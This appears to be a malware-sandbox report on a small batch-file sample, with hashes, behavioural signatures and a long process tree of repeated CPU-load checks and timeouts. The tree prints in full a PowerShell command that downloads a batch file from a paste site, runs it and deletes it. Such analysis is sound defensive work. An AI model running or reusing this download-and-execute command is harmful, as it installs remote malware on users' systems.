Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
131s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
01/07/2024, 03:13
Static task
static1
Behavioral task
behavioral1
Sample
1650924351023.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
1650924351023.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral3
Sample
1650924351023.bat
Resource
win11-20240508-en
General
-
Target
1650924351023.bat
-
Size
517B
-
MD5
ac9d73455d58bfa42f81e718b8c8d6b5
-
SHA1
60040fff333b7bc09b22e5c013f11b8a99555ed3
-
SHA256
4a084dd6b556a67848483a5763f8d3eebadc0527f804f102f7f944b23b31cb12
-
SHA512
ad24994554a8e6bb68f5ca80b1c53379f7a577964165f56d2f6bef14340fec3d0f17d14faa2db4651776a83bd5686f26ee59080ee2a16d0468b8d38504e460b2
Malware Config
Extracted
https://rentry.co/regele/raw
Signatures
-
pid Process 4556 powershell.exe -
Delays execution with timeout.exe 64 IoCs
pid Process 4836 timeout.exe 5024 timeout.exe 1500 timeout.exe 3960 timeout.exe 1844 timeout.exe 1160 timeout.exe 2592 timeout.exe 396 timeout.exe 1560 timeout.exe 1176 timeout.exe 3148 timeout.exe 568 timeout.exe 4588 timeout.exe 4444 timeout.exe 4772 timeout.exe 4804 timeout.exe 1708 timeout.exe 3312 timeout.exe 3440 timeout.exe 4160 timeout.exe 4412 timeout.exe 3636 timeout.exe 1524 timeout.exe 3312 timeout.exe 4472 timeout.exe 5000 timeout.exe 1564 timeout.exe 1956 timeout.exe 1156 timeout.exe 4960 timeout.exe 2524 timeout.exe 4896 timeout.exe 2328 timeout.exe 3744 timeout.exe 4180 timeout.exe 1564 timeout.exe 376 timeout.exe 4292 timeout.exe 3556 timeout.exe 4044 timeout.exe 5060 timeout.exe 3576 timeout.exe 4724 timeout.exe 1388 timeout.exe 4924 timeout.exe 4380 timeout.exe 4292 timeout.exe 2612 timeout.exe 1268 timeout.exe 4600 timeout.exe 3408 timeout.exe 4364 timeout.exe 1752 timeout.exe 3512 timeout.exe 1036 timeout.exe 820 timeout.exe 2240 timeout.exe 1328 timeout.exe 1512 timeout.exe 3344 timeout.exe 2136 timeout.exe 3076 timeout.exe 3016 timeout.exe 2028 timeout.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4556 powershell.exe 4556 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4556 powershell.exe Token: SeIncreaseQuotaPrivilege 3624 WMIC.exe Token: SeSecurityPrivilege 3624 WMIC.exe Token: SeTakeOwnershipPrivilege 3624 WMIC.exe Token: SeLoadDriverPrivilege 3624 WMIC.exe Token: SeSystemProfilePrivilege 3624 WMIC.exe Token: SeSystemtimePrivilege 3624 WMIC.exe Token: SeProfSingleProcessPrivilege 3624 WMIC.exe Token: SeIncBasePriorityPrivilege 3624 WMIC.exe Token: SeCreatePagefilePrivilege 3624 WMIC.exe Token: SeBackupPrivilege 3624 WMIC.exe Token: SeRestorePrivilege 3624 WMIC.exe Token: SeShutdownPrivilege 3624 WMIC.exe Token: SeDebugPrivilege 3624 WMIC.exe Token: SeSystemEnvironmentPrivilege 3624 WMIC.exe Token: SeRemoteShutdownPrivilege 3624 WMIC.exe Token: SeUndockPrivilege 3624 WMIC.exe Token: SeManageVolumePrivilege 3624 WMIC.exe Token: 33 3624 WMIC.exe Token: 34 3624 WMIC.exe Token: 35 3624 WMIC.exe Token: 36 3624 WMIC.exe Token: SeIncreaseQuotaPrivilege 3624 WMIC.exe Token: SeSecurityPrivilege 3624 WMIC.exe Token: SeTakeOwnershipPrivilege 3624 WMIC.exe Token: SeLoadDriverPrivilege 3624 WMIC.exe Token: SeSystemProfilePrivilege 3624 WMIC.exe Token: SeSystemtimePrivilege 3624 WMIC.exe Token: SeProfSingleProcessPrivilege 3624 WMIC.exe Token: SeIncBasePriorityPrivilege 3624 WMIC.exe Token: SeCreatePagefilePrivilege 3624 WMIC.exe Token: SeBackupPrivilege 3624 WMIC.exe Token: SeRestorePrivilege 3624 WMIC.exe Token: SeShutdownPrivilege 3624 WMIC.exe Token: SeDebugPrivilege 3624 WMIC.exe Token: SeSystemEnvironmentPrivilege 3624 WMIC.exe Token: SeRemoteShutdownPrivilege 3624 WMIC.exe Token: SeUndockPrivilege 3624 WMIC.exe Token: SeManageVolumePrivilege 3624 WMIC.exe Token: 33 3624 WMIC.exe Token: 34 3624 WMIC.exe Token: 35 3624 WMIC.exe Token: 36 3624 WMIC.exe Token: SeIncreaseQuotaPrivilege 4936 WMIC.exe Token: SeSecurityPrivilege 4936 WMIC.exe Token: SeTakeOwnershipPrivilege 4936 WMIC.exe Token: SeLoadDriverPrivilege 4936 WMIC.exe Token: SeSystemProfilePrivilege 4936 WMIC.exe Token: SeSystemtimePrivilege 4936 WMIC.exe Token: SeProfSingleProcessPrivilege 4936 WMIC.exe Token: SeIncBasePriorityPrivilege 4936 WMIC.exe Token: SeCreatePagefilePrivilege 4936 WMIC.exe Token: SeBackupPrivilege 4936 WMIC.exe Token: SeRestorePrivilege 4936 WMIC.exe Token: SeShutdownPrivilege 4936 WMIC.exe Token: SeDebugPrivilege 4936 WMIC.exe Token: SeSystemEnvironmentPrivilege 4936 WMIC.exe Token: SeRemoteShutdownPrivilege 4936 WMIC.exe Token: SeUndockPrivilege 4936 WMIC.exe Token: SeManageVolumePrivilege 4936 WMIC.exe Token: 33 4936 WMIC.exe Token: 34 4936 WMIC.exe Token: 35 4936 WMIC.exe Token: 36 4936 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1684 wrote to memory of 4556 1684 cmd.exe 81 PID 1684 wrote to memory of 4556 1684 cmd.exe 81 PID 1684 wrote to memory of 4600 1684 cmd.exe 83 PID 1684 wrote to memory of 4600 1684 cmd.exe 83 PID 4600 wrote to memory of 3624 4600 cmd.exe 84 PID 4600 wrote to memory of 3624 4600 cmd.exe 84 PID 1684 wrote to memory of 2328 1684 cmd.exe 86 PID 1684 wrote to memory of 2328 1684 cmd.exe 86 PID 1684 wrote to memory of 1664 1684 cmd.exe 87 PID 1684 wrote to memory of 1664 1684 cmd.exe 87 PID 1664 wrote to memory of 4936 1664 cmd.exe 88 PID 1664 wrote to memory of 4936 1664 cmd.exe 88 PID 1684 wrote to memory of 568 1684 cmd.exe 89 PID 1684 wrote to memory of 568 1684 cmd.exe 89 PID 1684 wrote to memory of 4384 1684 cmd.exe 90 PID 1684 wrote to memory of 4384 1684 cmd.exe 90 PID 4384 wrote to memory of 2180 4384 cmd.exe 91 PID 4384 wrote to memory of 2180 4384 cmd.exe 91 PID 1684 wrote to memory of 2592 1684 cmd.exe 92 PID 1684 wrote to memory of 2592 1684 cmd.exe 92 PID 1684 wrote to memory of 4756 1684 cmd.exe 93 PID 1684 wrote to memory of 4756 1684 cmd.exe 93 PID 4756 wrote to memory of 2240 4756 cmd.exe 94 PID 4756 wrote to memory of 2240 4756 cmd.exe 94 PID 1684 wrote to memory of 2028 1684 cmd.exe 95 PID 1684 wrote to memory of 2028 1684 cmd.exe 95 PID 1684 wrote to memory of 968 1684 cmd.exe 96 PID 1684 wrote to memory of 968 1684 cmd.exe 96 PID 968 wrote to memory of 4392 968 cmd.exe 97 PID 968 wrote to memory of 4392 968 cmd.exe 97 PID 1684 wrote to memory of 1564 1684 cmd.exe 98 PID 1684 wrote to memory of 1564 1684 cmd.exe 98 PID 1684 wrote to memory of 5036 1684 cmd.exe 99 PID 1684 wrote to memory of 5036 1684 cmd.exe 99 PID 5036 wrote to memory of 3180 5036 cmd.exe 100 PID 5036 wrote to memory of 3180 5036 cmd.exe 100 PID 1684 wrote to memory of 4836 1684 cmd.exe 101 PID 1684 wrote to memory of 4836 1684 cmd.exe 101 PID 1684 wrote to memory of 1084 1684 cmd.exe 102 PID 1684 wrote to memory of 1084 1684 cmd.exe 102 PID 1084 wrote to memory of 3508 1084 cmd.exe 103 PID 1084 wrote to memory of 3508 1084 cmd.exe 103 PID 1684 wrote to memory of 1956 1684 cmd.exe 104 PID 1684 wrote to memory of 1956 1684 cmd.exe 104 PID 1684 wrote to memory of 3952 1684 cmd.exe 105 PID 1684 wrote to memory of 3952 1684 cmd.exe 105 PID 3952 wrote to memory of 2808 3952 cmd.exe 106 PID 3952 wrote to memory of 2808 3952 cmd.exe 106 PID 1684 wrote to memory of 4160 1684 cmd.exe 107 PID 1684 wrote to memory of 4160 1684 cmd.exe 107 PID 1684 wrote to memory of 4032 1684 cmd.exe 108 PID 1684 wrote to memory of 4032 1684 cmd.exe 108 PID 4032 wrote to memory of 3412 4032 cmd.exe 109 PID 4032 wrote to memory of 3412 4032 cmd.exe 109 PID 1684 wrote to memory of 2612 1684 cmd.exe 111 PID 1684 wrote to memory of 2612 1684 cmd.exe 111 PID 1684 wrote to memory of 3340 1684 cmd.exe 112 PID 1684 wrote to memory of 3340 1684 cmd.exe 112 PID 3340 wrote to memory of 4636 3340 cmd.exe 113 PID 3340 wrote to memory of 4636 3340 cmd.exe 113 PID 1684 wrote to memory of 1268 1684 cmd.exe 114 PID 1684 wrote to memory of 1268 1684 cmd.exe 114 PID 1684 wrote to memory of 1276 1684 cmd.exe 115 PID 1684 wrote to memory of 1276 1684 cmd.exe 115
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1650924351023.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1684 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://rentry.co/regele/raw', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4556
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:4600 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3624
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2328
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:1664 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4936
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:568
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:4384 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2180
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2592
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:4756 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2240
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2028
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:968 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4392
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1564
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:5036 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3180
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4836
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:1084 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3508
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1956
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:3952 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2808
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4160
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:4032 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3412
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2612
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:3340 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4636
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1268
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1276
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2156
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4412
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4620
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1412
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3576
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3312
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4068
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:396
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3528
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5048
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1036
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2764
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2320
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4292
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1976
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3860
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4724
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4192
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:648
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1156
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4608
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3588
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4380
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:932
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5092
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4600
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5004
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2208
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4588
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4884
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1220
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3408
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2916
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4624
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3744
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3704
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3584
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4180
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4148
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4756
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4504
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1596
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2420
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1564
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5032
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5024
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1752
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2052
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3016
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4772
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:376
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1032
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3960
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4564
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4356
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4804
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3876
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1724
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1708
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:964
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3192
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1560
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4892
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1276
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4364
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1540
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2040
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4960
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3740
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1288
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3312
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:396
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3140
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3268
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1036
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5108
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2428
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:940
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2888
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4292
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:760
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3076
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3556
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2276
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1612
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4044
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4728
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4928
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2964
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1860
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4796
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3440
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1656
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2720
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3344
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1380
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5004
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:820
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2488
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1244
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2524
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:64
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2972
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1388
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4260
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3168
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1176
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4476
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4460
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2240
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2984
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4616
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2136
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4856
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1096
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5024
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2100
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5084
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3016
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1956
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3952
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:376
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4644
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4344
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4896
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4032
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2032
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5060
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4484
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4076
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3512
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2036
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2156
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3636
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1148
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1080
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4924
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2324
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4068
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3312
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4320
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2536
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3148
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1168
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4968
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1844
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1152
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4036
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1160
-
-
